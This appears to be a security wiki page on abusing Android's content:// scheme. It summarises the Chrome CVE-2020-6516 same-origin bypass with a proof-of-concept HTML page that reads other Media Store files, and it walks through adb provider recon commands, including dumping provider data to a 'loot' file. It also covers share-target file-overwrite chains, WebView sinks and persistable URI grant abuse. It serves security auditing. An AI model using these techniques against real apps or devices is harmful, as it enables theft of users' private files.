Content Protocol in Android
This is a summary of the post https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/[3]
This page focuses on abusing the content:// protocol itself (browser/WebView loads, URI grants, share/import flows). For generic provider enumeration, SQLi, path traversal and permission issues, check Exploiting Content Providers and Intent Injection.
Listing Files in Media Store
To list files managed by the Media Store, the command below can be used:
$ content query --uri content://media/external/file
For a more human-friendly output, displaying only the identifier and path of each indexed file:
$ content query --uri content://media/external/file --projection _id,_data
Content providers are isolated in their own private namespace. Access to a provider requires the specific content:// URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework’s source code.[1]
Chrome’s Access to Content Providers
Chrome on Android can access content providers through the content:// scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome:
Insert a custom entry into the Media Store:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Discover the identifier of the newly inserted file:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
The file can then be viewed in Chrome using a URL constructed with the file’s identifier.[1]
For instance, to list files related to a specific application:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy Bypass
The Same Origin Policy (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers content:// as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin.
However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a content:// URL. In effect, JavaScript code from a content:// URL could access other resources loaded via content:// URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented.[1]
The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under /sdcard and added to the Media Store, uses XMLHttpRequest in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.[1]
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Although the Chrome bug is fixed, the pattern is still useful during audits: if a custom browser, embedded WebView, or SDK-provided proxy Activity can be pushed into loading attacker-controlled content:// or intent: URLs, you may still end up with cross-app scripting, data exfiltration, or URI-grant abuse.
Quick Recon for content:// Attack Surface
When auditing an app, first map which authorities are reachable and which code paths convert a content:// URI into a file descriptor, stream, or browser load:
# Exported providers and authorities
adb shell dumpsys activity providers | grep -i <package>
# Query structured providers
adb shell content query --uri content://<authority>/<path>
# Dump raw bytes from stream-oriented providers
adb shell 'content read --uri content://<authority>/<path>' > loot.bin
# Ask the provider for the advertised MIME type
adb shell content gettype --uri content://<authority>/<path>
# Reach provider-defined custom methods
adb shell content call --uri content://<authority> --method <method> --arg <arg>
adb shell content ... runs as the shell UID, so always retest interesting findings from a normal app context (for example with Drozer or a small probe APK) before concluding that a third-party app can reach the same data.
Modern Abuse Patterns
Share-target / Dirty Stream chains
A content:// URI is not only a read primitive. Modern Android apps frequently accept attacker-controlled content:// streams from ACTION_SEND, ACTION_SEND_MULTIPLE, import dialogs, or deep-link helpers and then copy them into cacheDir / filesDir.[2]
If the receiving app reuses a provider-controlled name (OpenableColumns.DISPLAY_NAME, Uri.getLastPathSegment(), etc.) when creating the destination file, a malicious FileProvider can turn that flow into path traversal, arbitrary file overwrite, or even RCE if the overwritten file is later interpreted as configuration, a database, or a native library.[2]
Useful code-review grep:
rg -n "ACTION_SEND|ACTION_SEND_MULTIPLE|EXTRA_STREAM|OpenableColumns.DISPLAY_NAME|getLastPathSegment|openInputStream|openFileDescriptor|FileOutputStream|cacheDir|filesDir" -g '*.java' -g '*.kt' .
High-value targets to chain with content:// imports:
- Exported or deep-link reachable share/import Activities
- Code paths that copy incoming streams into private app storage
- Apps that later auto-load files from
shared_prefs, plugin folders, or app-private library directories - Helpers that only validate the scheme (
content://) but not the provider authority, canonical path, or destination filename
WebView / browser sink triage
content:// is also interesting whenever an app mixes attacker-controlled navigation with a WebView. WebView enables content:// access by default, so if the app loads untrusted URLs, allows intent: reparsing, or forwards arbitrary URLs to a browser-like component, you should test content:// payloads in addition to the usual https:// and custom-scheme payloads.
Useful grep:
rg -n "loadUrl\(|loadDataWithBaseURL\(|setAllowContentAccess\(|setJavaScriptEnabled\(|shouldOverrideUrlLoading\(|Intent.parseUri\(" -g '*.java' -g '*.kt' .
If you find a chain where an attacker controls a URL and the app later reparses it into an Intent, continue with Intent Injection. If the sink is an embedded browser, also review WebView Attacks.
Tree/document URIs and long-lived grants
On modern Android versions, direct /sdcard paths matter less than granted document URIs such as content://com.android.externalstorage.documents/... or other DocumentsProvider authorities returned by ACTION_OPEN_DOCUMENT / ACTION_OPEN_DOCUMENT_TREE.
From an offensive perspective, these URIs are attractive because a vulnerable app may call takePersistableUriPermission() after receiving them. That turns a one-shot content:// access into a long-lived grant that can survive app restarts or even device reboots. When chaining an exported proxy Activity or an intent-redirection bug, prefer testing document/tree URIs in addition to plain MediaStore paths.